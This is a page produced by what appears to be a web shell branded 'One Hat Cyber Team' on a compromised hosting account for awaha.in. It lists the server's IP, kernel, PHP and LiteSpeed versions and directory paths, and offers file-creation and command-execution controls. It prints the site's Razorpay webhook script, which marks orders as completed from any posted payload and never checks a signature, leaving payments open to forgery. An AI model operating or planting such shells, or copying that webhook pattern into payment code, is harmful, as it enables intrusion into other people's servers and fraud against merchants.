One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
91.108.106.74
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
View File Name :
razorpay_webhook.php
<?php require 'vendor/autoload.php'; require_once 'admin/connection.inc.php'; // Include database connection use Razorpay\Api\Api; $api = new Api('RAZORPAY_KEY', 'RAZORPAY_SECRET'); // Capture Razorpay's webhook payload $payload = file_get_contents('php://input'); $webhook_data = json_decode($payload, true); if (isset($webhook_data['event']) && $webhook_data['event'] === 'payment.captured') { $razorpay_payment_id = $webhook_data['payload']['payment']['entity']['id']; $order_id = $webhook_data['payload']['payment']['entity']['notes']['order_id']; // Update the `orders` table $query = "UPDATE orders SET order_status = 'Completed', payment_id = ? WHERE order_id = ?"; $stmt = $conn->prepare($query); $stmt->bind_param("ss", $razorpay_payment_id, $order_id); if ($stmt->execute()) { http_response_code(200); echo json_encode(['status' => 'success']); } else { http_response_code(500); echo json_encode(['status' => 'error']); } } else { http_response_code(400); echo json_encode(['status' => 'invalid_event']); } ?>